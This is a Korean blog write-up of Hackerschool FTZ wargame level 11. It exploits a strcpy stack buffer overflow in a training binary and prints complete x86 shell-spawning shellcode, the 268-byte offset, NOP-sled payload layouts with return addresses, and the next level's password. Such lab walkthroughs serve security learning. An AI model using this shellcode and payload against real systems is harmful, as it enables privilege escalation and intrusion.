profile image

L o a d i n g . . .

1. 문제

파일들을 확인하니 attackme와 hint 파일이 눈에 띄었다.

 

힌트를 확인한 모습이다.

소스 코드를 보면 strcpy 시 bof가 발생한다.

따라서 쉘 코드를 삽입하고 ret 전까지를 dummy 값으로 채운 뒤 리턴 해주면 될 듯하다.

 

 

2. 문제 해결 과정

main을 disassemble한 모습이다.

앞에서 예측한 대로 페이로드는 다음과 같을 것이다.

payload = shellcode(41 byte) + dummy + str의 시작 주소

 

따라서 버퍼와 ret 까지의 offset을 구해보자.

 

 

main 함수의 첫 부분과 strcpy 하기 직전에 bp를 건다.

 

main 함수 첫 부분에서 bp가 걸렸다.

그때의 esp는 return address를 가르키고 있다.

 

strcpy 하기 직전에 bp가 걸렸다.

그때의 eax에는 버퍼의 시작 주소가 들어가있다.

 

버퍼와 ret 간 offset은 268이다.

 

shellcode : \x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

따라서 다음과 같이 페이로드를 작성하고 익스하였는데, segmentation falut가 발생하였다.

shellcode(41byte) + 227*A + \x28\xf0\xff\bf

 

그래서 다시 디버깅을 해보니까 할때마다 주소들이 다르게 나왔다.

aslr이 적용된 것 같다. 그래서 nop을 줘서 다시 페이로드를 작성해보기로 했다.

 

 

ret 전까지를 모두 더미값으로 채우고

뒤에 쉘코드를 넣고, 쉘코드 앞에 nop을 0x1000만큼 주었다.

그리고 ret에는 argv[1]+0x500에 해당하는 주소를 넣었다.

 

 

다시 짠 페이로는 다음과 같다.

"A"*268 + (0xbffff528) + "\x90"*0x1000 + shellcode(41 byte)

"\x90"*227 + shellcode + ret(buf or argv[1])

 

argv[1] : 0xbfffec28

buf : 0xbfffead0

 

argv[1]을 push 할 때 bp를 걸어 그때의 eax를 확인했다.

argv[1] : 0xbffff028

 

익스플로잇 코드

 

 

Level 12 password : "It is like this"

 

'Wargame > Hackerschool FTZ' 카테고리의 다른 글

[FTZ] 해커스쿨 FTZ level 13  (0) 2021.04.12
[FTZ] 해커스쿨 FTZ level 12  (0) 2021.04.12
[FTZ] 해커스쿨 FTZ level 10  (0) 2021.03.26
[FTZ] 해커스쿨 FTZ level 9  (0) 2021.03.26
[FTZ] 해커스쿨 FTZ level 8  (0) 2021.03.23
복사했습니다!